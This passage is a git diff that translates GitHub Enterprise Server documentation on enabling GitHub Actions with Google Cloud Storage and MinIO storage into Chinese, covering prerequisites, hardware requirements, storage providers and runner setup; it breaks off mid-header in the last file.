b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage.md index 767521ace0..83b6b17f16 100644 --- a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage.md +++ b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage.md @@ -1,9 +1,9 @@ --- -title: Enabling GitHub Actions with Google Cloud Storage -intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use Google Cloud Storage to store data generated by workflow runs.' +title: 使用 Google Cloud Storage 启用 GitHub Actions +intro: '可以在 {% data variables.product.prodname_ghe_server %} 上启用 {% data variables.product.prodname_actions %},并使用 Google Cloud Storage 来存储工作流运行生成的数据。' permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' versions: - feature: 'actions-ghes-gcp-storage' + feature: actions-ghes-gcp-storage type: how_to topics: - Actions @@ -11,24 +11,29 @@ topics: - Infrastructure - Storage shortTitle: Google Cloud Storage +ms.openlocfilehash: 33ecb0adfb0786a4308bba80ecc6467fc7adb4e5 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192951' --- - {% note %} -**Note:** {% data variables.product.prodname_actions %} support for Google Cloud Storage is currently in beta and subject to change. +注意:{% data variables.product.prodname_actions %} 对 Google Cloud Storage 的支持目前处于 beta 版,可能会更改。 {% endnote %} {% data reusables.actions.enterprise-storage-about %} -## Prerequisites +## 先决条件 -Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: +在启用 {% data variables.product.prodname_actions %} 之前,请确保您已完成以下步骤: -* Create your Google Cloud Storage bucket for storing data generated by workflow runs. -* Create a Google Cloud service account that can access the bucket, and create a Hash-based Message Authentication Code (HMAC) key for the service account. For more information, see "[Manage HMAC keys for service accounts](https://cloud.google.com/storage/docs/authentication/managing-hmackeys)" in the Google Cloud documentation. +* 创建 Google Cloud Storage 存储桶,用于存储工作流运行生成的数据。 +* 创建可访问存储桶的 Google Cloud 服务帐户,并为服务帐户创建基于哈希的消息身份验证码 (HMAC) 密钥。 有关详细信息,请参阅 Google Cloud 文档中的“[管理服务帐户的 HMAC 密钥](https://cloud.google.com/storage/docs/authentication/managing-hmackeys)”。 - The service account must have the following [Identity and Access Management (IAM) permissions](https://cloud.google.com/storage/docs/access-control/iam-permissions) for the bucket: + 服务帐户必须具有以下对存储桶的[身份验证和访问控制管理 (IAM) 权限](https://cloud.google.com/storage/docs/access-control/iam-permissions): * `storage.objects.create` * `storage.objects.get` @@ -38,23 +43,17 @@ Before enabling {% data variables.product.prodname_actions %}, make sure you hav * `storage.multipartUploads.create` * `storage.multipartUploads.abort` * `storage.multipartUploads.listParts` - * `storage.multipartUploads.list` -{% data reusables.actions.enterprise-common-prereqs %} + * `storage.multipartUploads.list` {% data reusables.actions.enterprise-common-prereqs %} -## Enabling {% data variables.product.prodname_actions %} with Google Cloud Storage +## 使用 Google Cloud Storage 启用 {% data variables.product.prodname_actions %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.actions %} -{% data reusables.actions.enterprise-enable-checkbox %} -1. Under "Artifact & Log Storage", select **Google Cloud Storage**, and enter your bucket's details: +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} +1. 在“项目和日志存储”下,选择“Google Cloud Storage”,然后输入存储桶的详细信息: - * **Service URL**: The service URL for your bucket. This is usually `https://storage.googleapis.com`. - * **Bucket Name**: The name of your bucket. - * **HMAC Access Id** and **HMAC Secret**: The Google Cloud access ID and secret for your storage account. For more information, see "[Manage HMAC keys for service accounts](https://cloud.google.com/storage/docs/authentication/managing-hmackeys)" in the Google Cloud documentation. + * **服务 URL**:存储桶的服务 URL。 通常为 `https://storage.googleapis.com`。 + * **存储桶名称**:存储桶的名称。 + * **HMAC 访问 ID** 和 **HMAC 机密**:存储帐户的 Google Cloud 访问 ID 和机密。 有关详细信息,请参阅 Google Cloud 文档中的“[管理服务帐户的 HMAC 密钥](https://cloud.google.com/storage/docs/authentication/managing-hmackeys)”。 - ![Radio button for selecting Google Cloud Storage and fields for configuration](/assets/images/enterprise/management-console/actions-google-cloud-storage.png) -{% data reusables.enterprise_management_console.test-storage-button %} -{% data reusables.enterprise_management_console.save-settings %} + ![用于选择 Google Cloud Storage 和配置字段的单选按钮](/assets/images/enterprise/management-console/actions-google-cloud-storage.png) {% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %} {% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md new file mode 100644 index 0000000000..d52e5e5c94 --- /dev/null +++ b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md @@ -0,0 +1,48 @@ +--- +title: 使用 MinIO Gateway for NAS 存储启用 GitHub Actions +intro: 可以在 {% data variables.product.prodname_ghe_server %} 上启用 {% data variables.product.prodname_actions %},并使用 MinIO Gateway for NAS 存储来存储工作流运行生成的数据。 +permissions: Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings. +versions: + ghes: '*' +type: how_to +topics: +- Actions +- Enterprise +- Infrastructure +- Storage +redirect_from: +- /admin/github-actions/enabling-github-actions-with-minio-gateway-for-nas-storage +shortTitle: MinIO Gateway for NAS storage +ms.openlocfilehash: bb738d04d54234704f3278422c1f1ef075956640 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106867" +--- +{% data reusables.actions.minio-gateways-removal %} + +## 先决条件 + +在启用 {% data variables.product.prodname_actions %} 之前,请确保您已完成以下步骤: + +* 为避免设备上的资源争用,我们建议将 MinIO 与 {% data variables.location.product_location %} 分开托管。 +* 创建用于存储工作流数据的桶。 {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} + +{% data reusables.actions.enterprise-common-prereqs %} + +## 使用 MinIO Gateway for NAS 存储启用 {% data variables.product.prodname_actions %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} +1. 在“项目和日志存储”下,选择“Amazon S3”,然后输入存储桶的详细信息: + + * AWS 服务 URL:MinIO 服务的 URL。 例如 `https://my-minio.example:9000`。 + * AWS S3 存储桶:S3 存储桶的名称。 + * AWS S3 访问密钥和 AWS S3 密钥:用于 MinIO 实例的 `MINIO_ACCESS_KEY` 和 `MINIO_SECRET_KEY` 。 + + ![用于选择 Amazon S3 存储的单选按钮和用于 MinIO 配置的字段](/assets/images/enterprise/management-console/actions-minio-s3-storage.png) +1. 在“项目和日志存储”下,选择“强制路径样式”。 + + ![“强制实施路径样式”复选框](/assets/images/enterprise/management-console/actions-minio-force-path-style.png) {% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %} + +{% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage.md b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage.md index c5a4008e1f..e1b2abd2fb 100644 --- a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage.md +++ b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage.md @@ -1,6 +1,6 @@ --- -title: Enabling GitHub Actions with MinIO storage -intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use MinIO storage to store data generated by workflow runs.' +title: 使用 MinIO 存储启用 GitHub Actions +intro: '可以在 {% data variables.product.prodname_ghe_server %} 上启用 {% data variables.product.prodname_actions %},并使用 MinIO 存储来存储工作流运行生成的数据。' permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' versions: ghes: '*' @@ -14,38 +14,37 @@ redirect_from: - /admin/github-actions/enabling-github-actions-with-minio-gateway-for-nas-storage - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage shortTitle: MinIO storage +ms.openlocfilehash: fec0720c8779ba643735156e6413005ae35f5d85 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192960' --- - {% data reusables.actions.enterprise-storage-about %} -## Prerequisites +## 先决条件 -Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: +在启用 {% data variables.product.prodname_actions %} 之前,请确保您已完成以下步骤: -* Create your MinIO bucket for storing data generated by workflow runs. For more information about installing and configuring MinIO, see "[MinIO High Performance Object Storage](https://min.io/docs/minio/container/index.html)" and "[mc mb](https://min.io/docs/minio/linux/reference/minio-mc/mc-mb.html)" in the MinIO documentation. +* 创建 MinIO 存储桶,用于存储工作流运行生成的数据。 有关安装和配置 MinIO 的详细信息,请参阅 MinIO 文档中的“[MinIO 高性能对象存储](https://min.io/docs/minio/container/index.html)”和“[mc mb](https://min.io/docs/minio/linux/reference/minio-mc/mc-mb.html)”。 - To avoid resource contention on the appliance, we recommend that MinIO be hosted separately from {% data variables.location.product_location %}. + 为避免设备上的资源争用,我们建议将 MinIO 与 {% data variables.location.product_location %} 分开托管。 - {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} -{% data reusables.actions.enterprise-common-prereqs %} + {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} {% data reusables.actions.enterprise-common-prereqs %} -## Enabling {% data variables.product.prodname_actions %} with MinIO storage +## 使用 MinIO 存储启用 {% data variables.product.prodname_actions %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.actions %} -{% data reusables.actions.enterprise-enable-checkbox %} -1. Under "Artifact & Log Storage", select **Amazon S3**, and enter your storage bucket's details: +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} +1. 在“项目和日志存储”下,选择“Amazon S3”,然后输入存储桶的详细信息: - * **AWS Service URL**: The URL to your MinIO service. For example, `https://my-minio.example:9000`. - * **AWS S3 Bucket**: The name of your S3 bucket. - * **AWS S3 Access Key** and **AWS S3 Secret Key**: The `MINIO_ACCESS_KEY` and `MINIO_SECRET_KEY` used for your MinIO instance. + * AWS 服务 URL:MinIO 服务的 URL。 例如 `https://my-minio.example:9000`。 + * AWS S3 存储桶:S3 存储桶的名称。 + * AWS S3 访问密钥和 AWS S3 密钥:用于 MinIO 实例的 `MINIO_ACCESS_KEY` 和 `MINIO_SECRET_KEY` 。 - ![Radio button for selecting Amazon S3 Storage and fields for MinIO configuration](/assets/images/enterprise/management-console/actions-minio-s3-storage.png) -1. Under "Artifact & Log Storage", select **Force path style**. + ![用于选择 Amazon S3 存储的单选按钮和用于 MinIO 配置的字段](/assets/images/enterprise/management-console/actions-minio-s3-storage.png) +1. 在“项目和日志存储”下,选择“强制路径样式”。 - ![Checkbox to Force path style](/assets/images/enterprise/management-console/actions-minio-force-path-style.png) -{% data reusables.enterprise_management_console.test-storage-button %} -{% data reusables.enterprise_management_console.save-settings %} + ![“强制实施路径样式”复选框](/assets/images/enterprise/management-console/actions-minio-force-path-style.png) {% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %} {% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md index 19abc93b84..47f2e03848 100644 --- a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md +++ b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md @@ -1,7 +1,7 @@ --- -title: Getting started with GitHub Actions for GitHub Enterprise Server +title: GitHub Actions for GitHub Enterprise Server 使用入门 shortTitle: Get started -intro: 'Learn about enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} for the first time.' +intro: '了解首次在 {% data variables.product.prodname_ghe_server %} 上启用和配置 {% data variables.product.prodname_actions %}。' permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' redirect_from: - /enterprise/admin/github-actions/enabling-github-actions-and-configuring-storage @@ -14,36 +14,42 @@ type: how_to topics: - Actions - Enterprise +ms.openlocfilehash: a48e562898eb4c82b9027ee56ed52b71e7c5ebc7 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192967' --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} +## 关于 {% data variables.product.prodname_ghe_server %} 上的 {% data variables.product.prodname_actions %} -This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}. +本文介绍站点管理员如何配置 {% data variables.product.prodname_ghe_server %} 来使用 {% data variables.product.prodname_actions %}。 -{% data reusables.actions.ghes-actions-not-enabled-by-default %} You'll need to determine whether your instance has adequate CPU and memory resources to handle the load from {% data variables.product.prodname_actions %} without causing performance loss, and possibly increase those resources. You'll also need to decide which storage provider you'll use for the blob storage required to store artifacts{% ifversion actions-caching %} and caches{% endif %} generated by workflow runs. Then, you'll enable {% data variables.product.prodname_actions %} for your enterprise, manage access permissions, and add self-hosted runners to run workflows. +{% data reusables.actions.ghes-actions-not-enabled-by-default %} 您需要确定您的实例是否有足够的 CPU 和内存资源处理来自 {% data variables.product.prodname_actions %} 的负载而不会造成性能损失,并可能增加这些资源。 你还需要确定将哪个存储提供商用于存储工作流运行生成的工件{% ifversion actions-caching %}和缓存{% endif %}所需的 Blob 存储。 然后,您将为企业启用 {% data variables.product.prodname_actions %},管理访问权限,并添加自托管运行器以运行工作流程。 {% data reusables.actions.introducing-enterprise %} {% data reusables.actions.migrating-enterprise %} -## Review hardware requirements +## 检查硬件要求 {%- ifversion ghes < 3.6 %} -The CPU and memory resources available to {% data variables.location.product_location %} determine the number of jobs that can be run concurrently without performance loss. {% data reusables.actions.minimum-hardware %} +可用于 {% data variables.location.product_location %} 的 CPU 和内存资源可确定在不造成性能损失的情况下可同时运行的工作数量。 {% data reusables.actions.minimum-hardware %} -The peak quantity of concurrent jobs running without performance loss depends on such factors as job duration, artifact usage, number of repositories running Actions, and how much other work your instance is doing not related to Actions. Internal testing at GitHub demonstrated the following performance targets for GitHub Enterprise Server on a range of CPU and memory configurations: +在没有性能损失的情况下并行工作的高峰数量取决于作业持续时间限、构件使用、运行操作的仓库数量,以及实例所做的与操作无关的其他工作量等。 GitHub 的内部测试在一系列 CPU 和内存配置中证明了 GitHub Enterprise Server 的以下性能目标: {% endif %} {%- ifversion ghes > 3.5 %} -The CPU and memory resources available to {% data variables.location.product_location %} determine the number of runners that can be configured without performance loss. {% data reusables.actions.minimum-hardware %} +可用于 {% data variables.location.product_location %} 的 CPU 和内存资源可确定在不造成性能损失的情况下可以配置的运行器数量。 {% data reusables.actions.minimum-hardware %} -The peak quantity of connected runners without performance loss depends on such factors as job duration, artifact usage, number of repositories running Actions, and how much other work your instance is doing not related to Actions. Internal testing at GitHub demonstrated the following performance targets for GitHub Enterprise Server on a range of CPU and memory configurations: +在没有性能损失的情况下连接运行器的高峰数量取决于作业持续时间限、构件使用、运行操作的存储库数量,以及实例所做的与操作无关的其他工作量等因素。 GitHub 的内部测试在一系列 CPU 和内存配置中证明了 GitHub Enterprise Server 的以下性能目标: {% endif %} @@ -51,7 +57,7 @@ The peak quantity of connected runners without performance loss depends on such {% data reusables.actions.hardware-requirements-3.3 %} -Maximum concurrency was measured using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance. +最大并发性是使用多个存储库、大约 10 分钟的作业持续时间和 10 MB 的项目上传来度量的。 您可能会经历不同的性能,具体取决于实例的总体活动水平。 {%- endif %} @@ -59,7 +65,7 @@ Maximum concurrency was measured using multiple repositories, job duration of ap {% data reusables.actions.hardware-requirements-3.4 %} -Maximum concurrency was measured using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance. +最大并发性是使用多个存储库、大约 10 分钟的作业持续时间和 10 MB 的项目上传来度量的。 您可能会经历不同的性能,具体取决于实例的总体活动水平。 {%- endif %} @@ -67,11 +73,11 @@ Maximum concurrency was measured using multiple repositories, job duration of ap {% data reusables.actions.hardware-requirements-3.5 %} -{% data variables.product.company_short %} measured maximum concurrency using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance. +{% data variables.product.company_short %} 使用多个存储库、约 10 分钟的作业持续时间以及 10 MB 项目上传测得最大并行数。 您可能会经历不同的性能,具体取决于实例的总体活动水平。 {% note %} -**Note:** Beginning with {% data variables.product.prodname_ghe_server %} 3.5, {% data variables.product.company_short %}'s internal testing uses 3rd generation CPUs to better reflect a typical customer configuration. This change in CPU represents a small portion of the changes to performance targets in this version of {% data variables.product.prodname_ghe_server %}. +注意:从 {% data variables.product.prodname_ghe_server %} 3.5 开始,{% data variables.product.company_short %} 的内部测试使用第三代 CPU 来更好地反映典型的客户配置。 CPU 中的这项更改表示此版本 {% data variables.product.prodname_ghe_server %} 中性能目标的一小部分更改。 {% endnote %} @@ -80,28 +86,27 @@ Maximum concurrency was measured using multiple repositories, job duration of ap {%- ifversion ghes > 3.5 %} -| vCPUs | Memory | Maximum Connected Runners | +| vCPU | 内存 | 最大连接运行器数量 | | :---| :--- | :--- | -| 8 | 64 GB | 740 runners | -| 32 | 160 GB | 2700 runners | -| 96 | 384 GB | 7000 runners | -| 128 | 512 GB | 7000 runners | +| 8 | 64 GB | 740 个运行器 | +| 32 | 160 GB | 2700 个运行器 | +| 96 | 384 GB | 7000 个运行器 | +| 128 | 512 GB | 7000 个运行器 | -{% data variables.product.company_short %} measured maximum connected runners using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance. +{% data variables.product.company_short %} 使用多个存储库、约 10 分钟的作业持续时间以及 10 MB 项目上传测得最大连接运行器数量。 您可能会经历不同的性能,具体取决于实例的总体活动水平。 {% note %} -**Notes:** +**注意:** -- Beginning with {% data variables.product.prodname_ghe_server %} 3.6, {% data variables.product.company_short %} documents connected runners as opposed to concurrent jobs. Connected runners represents the most runners you can connect and expect to utilize. It should also be noted that connecting more runners than you can expect to utilize can negatively impact performance. +- 从 {% data variables.product.prodname_ghe_server %} 3.6 开始,{% data variables.product.company_short %} 记录连接运行器,而不是并发作业。 连接运行器表示可以连接并预期会利用的最多数量的运行器。 还应该注意的是,连接的运行器数量超出预期数量可能会对性能产生负面影响。 -- Beginning with {% data variables.product.prodname_ghe_server %} 3.5, {% data variables.product.company_short %}'s internal testing uses 3rd generation CPUs to better reflect a typical customer configuration. This change in CPU represents a small portion of the changes to performance targets in this version of {% data variables.product.prodname_ghe_server %}. -{% endnote %} -{%- endif %} +- 从 {% data variables.product.prodname_ghe_server %} 3.5 开始,{% data variables.product.company_short %} 的内部测试使用第三代 CPU 来更好地反映典型的客户配置。 CPU 中的这项更改表示此版本 {% data variables.product.prodname_ghe_server %} 中性能目标的一小部分更改。 +{% endnote %} {%- endif %} -If you plan to enable {% data variables.product.prodname_actions %} for the users of an existing instance, review the levels of activity for users and automations on the instance and ensure that you have provisioned adequate CPU and memory for your users. For more information about monitoring the capacity and performance of {% data variables.product.prodname_ghe_server %}, see "[Monitoring your appliance](/admin/enterprise-management/monitoring-your-appliance)." +如果您计划为现有实例的用户启用 {% data variables.product.prodname_actions %},请查看用户的活动级别和实例上的自动化,并确保已为用户预配足够的 CPU 和内存。 有关监视 {% data variables.product.prodname_ghe_server %} 的容量和性能的详细信息,请参阅“[监视设备](/admin/enterprise-management/monitoring-your-appliance)”。 -For more information about minimum hardware requirements for {% data variables.location.product_location %}, see the hardware considerations for your instance's platform. +有关 {% data variables.location.product_location %} 的最低硬件要求的更多信息,请参阅实例的平台的硬件注意事项。 - [AWS](/admin/installation/installing-github-enterprise-server-on-aws#hardware-considerations) - [Azure](/admin/installation/installing-github-enterprise-server-on-azure#hardware-considerations) @@ -114,72 +119,68 @@ For more information about minimum hardware requirements for {% data variables.l {% ifversion ghes > 3.4 %} -Optionally, you can limit resource consumption on {% data variables.location.product_location %} by configuring a rate limit for {% data variables.product.prodname_actions %}. For more information, see "[Configuring rate limits](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-rate-limits-for-github-actions)." +(可选)可以通过为 {% data variables.product.prodname_actions %} 配置速率限制来限制对 {% data variables.location.product_location %} 的资源消耗。 有关详细信息,请参阅“[配置速率限制](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-rate-limits-for-github-actions)”。 {% endif %} -## External storage requirements +## 外部存储要求 -To enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}, you must have access to external blob storage. +要在 {% data variables.product.prodname_ghe_server %} 上启用 {% data variables.product.prodname_actions %},您必须有权访问外部 Blob 存储。 -{% data reusables.actions.enterprise-storage-contents %} The amount of storage required depends on your usage of {% data variables.product.prodname_actions %}. Only a single external storage configuration is supported, and you can't use multiple storage providers at the same time. +{% data reusables.actions.enterprise-storage-contents %} 所需存储量取决于 {% data variables.product.prodname_actions %} 的使用情况。 仅支持单个外部存储配置,不能同时使用多个存储提供程序。 -All other {% data variables.product.prodname_actions %} data, such as the workflow files in a repository's file structure, are stored on the data storage volume for {% data variables.location.product_location %}. +所有其他 {% data variables.product.prodname_actions %} 数据(例如存储库文件结构中的工作流文件)存储在 {% data variables.location.product_location %} 的数据存储卷上。 -{% data variables.product.prodname_actions %} supports these storage providers: +{% data variables.product.prodname_actions %} 支持以下存储提供商: -* Azure Blob storage -* Amazon S3 -{%- ifversion actions-ghes-gcp-storage %} -* Google Cloud Storage -{%- endif %} -* S3-compatible MinIO cluster +* Azure Blob 存储 +* Amazon S3 {%- ifversion actions-ghes-gcp-storage %} +* Google 云存储 {%- endif %} +* 与 S3 兼容的 MinIO 群集 {% note %} -**Note:** These are the only storage providers that {% data variables.product.company_short %} supports and can provide assistance with. +注意:只有这些是 {% data variables.product.company_short %} 支持并可以提供帮助的存储提供程序。 {% data reusables.actions.enterprise-s3-tech-partners %} {% endnote %} -## Networking considerations +## 网络注意事项 -{% data reusables.actions.proxy-considerations %} For more information about using a proxy with {% data variables.product.prodname_ghe_server %}, see "[Configuring an outbound web proxy server](/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server)." +{% data reusables.actions.proxy-considerations %} 有关将代理与 {% data variables.product.prodname_ghe_server %} 配合使用的详细信息,请参阅“[配置出站 Web 代理服务器](/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server)”。 {% ifversion ghes %} -## Enabling {% data variables.product.prodname_actions %} with your storage provider +## 使用您的存储提供程序启用 {% data variables.product.prodname_actions %} -Follow one of the procedures below to enable {% data variables.product.prodname_actions %} with your chosen storage provider: +请按照以下过程之一使用所选存储提供程序启用 {% data variables.product.prodname_actions %}: -* [Enabling GitHub Actions with Azure Blob storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage) -* [Enabling GitHub Actions with Amazon S3 storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage) -{%- ifversion actions-ghes-gcp-storage %} -* [Enabling GitHub Actions with Google Cloud Storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage) -{%- endif %} -* [Enabling GitHub Actions with MinIO storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage) +* [使用 Azure Blob 存储启用 GitHub Actions](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage) +* [使用 Amazon S3 存储启用 GitHub Actions](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage) {%- ifversion actions-ghes-gcp-storage %} +* [使用 Google 云存储启用 GitHub Actions](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage) {%- endif %} +* [使用 MinIO 存储启用 GitHub Actions](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage) -## Managing access permissions for {% data variables.product.prodname_actions %} in your enterprise +## 管理企业中 {% data variables.product.prodname_actions %} 的访问权限 -You can use policies to manage access to {% data variables.product.prodname_actions %}. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)." +您可以使用策略来管理 {% data variables.product.prodname_actions %} 的访问。 有关详细信息,请参阅“[为企业强制实施 GitHub Actions 策略](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)”。 -## Adding self-hosted runners +## 添加自托管的运行器 {% data reusables.actions.enterprise-github-hosted-runners %} -To run {% data variables.product.prodname_actions %} workflows, you need to add self-hosted runners. You can add self-hosted runners at the enterprise, organization, or repository levels. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." +要运行 {% data variables.product.prodname_actions %} 工作流程,您需要添加自托管运行器。 您可以在企业、组织或仓库级别添加自托管运行器。 有关详细信息,请参阅“[添加自托管运行器](/actions/hosting-your-own-runners/adding-self-hosted-runners)”。 -## Managing which actions can be used in your enterprise +## 管理哪些操作可用于您的企业 -You can control which actions your users are allowed to use in your enterprise. This includes setting up {% data variables.product.prodname_github_connect %} for automatic access to actions from {% data variables.product.prodname_dotcom_the_website %}, or manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}. +您可以控制允许用户在企业中使用哪些操作。 这包括设置 {% data variables.product.prodname_github_connect %} 以自动访问来自 {% data variables.product.prodname_dotcom_the_website %} 的操作,或手动同步来自 {% data variables.product.prodname_dotcom_the_website %} 的操作。 -For more information, see "[About using actions in your enterprise](/admin/github-actions/about-using-actions-in-your-enterprise)." +有关详细信息,请参阅“[关于在企业中使用操作](/admin/github-actions/about-using-actions-in-your-enterprise)”。 {% data reusables.actions.general-security-hardening %} {% endif %} -## Reserved names +## 保留名称 -When you enable {% data variables.product.prodname_actions %} for your enterprise, two organizations are created: `github` and `actions`. If your enterprise already uses the `github` organization name, `github-org` (or `github-github-org` if `github-org` is also in use) will be used instead. If your enterprise already uses the `actions` organization name, `github-actions` (or `github-actions-org` if `github-actions` is also in use) will be used instead. Once actions is enabled, you won't be able to use these names anymore. +为企业启用 {% data variables.product.prodname_actions %} 时,会创建两个组织:`github` 和 `actions`。 如果企业已使用 `github` 组织名称,则将改用 `github-org`(如果 `github-org` 也在使用中,则改用 `github-github-org`)。 如果企业已使用 `actions` 组织名称,则将改用 `github-actions`(如果 `github-actions` 也在使用中,则改用 `github-actions-org`)。 启用操作后,您将无法再使用这些名称。 diff --git a/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md b/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md index 8aa85ea18f..9445d42e19 100644 --- a/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md +++ b/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: About using actions in your enterprise -intro: '{% data variables.product.product_name %} includes most {% data variables.product.prodname_dotcom %}-authored actions, and has options for enabling access to other actions from {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_marketplace %}.' +title: 关于在企业中使用操作 +intro: '{% data variables.product.product_name %} 包含了大多数 {% data variables.product.prodname_dotcom %} 编写的操作,并且有选项允许访问来自 {% data variables.product.prodname_dotcom_the_website %} 和 {% data variables.product.prodname_marketplace %} 的其他操作。' redirect_from: - /enterprise/admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server - /admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server @@ -14,61 +14,63 @@ topics: - Actions - Enterprise shortTitle: About actions in your enterprise +ms.openlocfilehash: 2e18b932548aa7ad9b65c090b6a5418762bcb501 +ms.sourcegitcommit: 